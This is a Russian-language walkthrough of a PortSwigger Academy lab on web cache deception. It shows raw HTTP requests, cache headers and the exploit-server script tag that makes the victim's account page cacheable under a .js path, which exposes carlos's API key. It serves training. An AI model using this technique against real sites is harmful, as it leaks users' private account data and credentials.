Для прохождения лабы нужно найти API-ключи пользователя carlos с помощью Web cache deception.
Для входа в свою учетную запись можно использовать креды wiener:peter.
https://0a4a00610336ce2980e930f900af00b2.web-security-academy.net/
Solution
Для начала зайду в свой аккаунт:

Аккаунт находится на ендпоинте /my-account. Попробую добавить рандомный путь /foo:

Ответ остался тем же. Перейду в Burp Suite, чтобы посмотреть на заголовки запросов:
GET /my-account/foo HTTP/2
Host: 0a4a00610336ce2980e930f900af00b2.web-security-academy.net
Cookie: session=cpyLVwGogGdTEue1LibfmS6nckRPPupq
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Попробую добавить расширение .js, чтобы проверить, будет ли кэширован ответ:
GET /my-account/foo.js HTTP/2
Host: 0a4a00610336ce2980e930f900af00b2.web-security-academy.net
Cookie: session=cpyLVwGogGdTEue1LibfmS6nckRPPupq
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: traile
Ответ:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3824
...
В ответе можно увидеть поля X-Cache: miss и Age: 0. Это означает, что мой запрос был кэширован. Теперь создам эксплойт, который отправим жертве. Для этого мне нужно перейти на выданный Port Swigger Academy эксплойт сервер.

А теперь подробнее. Данная ссылка будет отправлена жертве:

Тут можно увидеть имя файла, котрый будет скачан жертвой. И то, какой ответ на данный запрос будет получен. В данном примере я решил отправить .html файл, в котором содержится js скрипт <script src='https://0a4a00610336ce2980e930f900af00b2.web-security-academy.net/my-account/secondtry.js'></script>. Путь файла заканчивается на /secondtry.js. На данный запрос жертва получит страницу своего аккаунта, которая будет кэширована. А значит, я смогу получить доступ к информации из аккаунта. По имени файла secondtry.js можно понять, что получилось у меня это не с первой попытки…

Итак. Клацаю кнопку взломать все и вся Deliver exploit to victim. Далее пробую перейти по ссылке https://0a4a00610336ce2980e930f900af00b2.web-security-academy.net/my-account/secondtry.js.

Пуф, и API-ключ получен. Сдам его… верификатору.
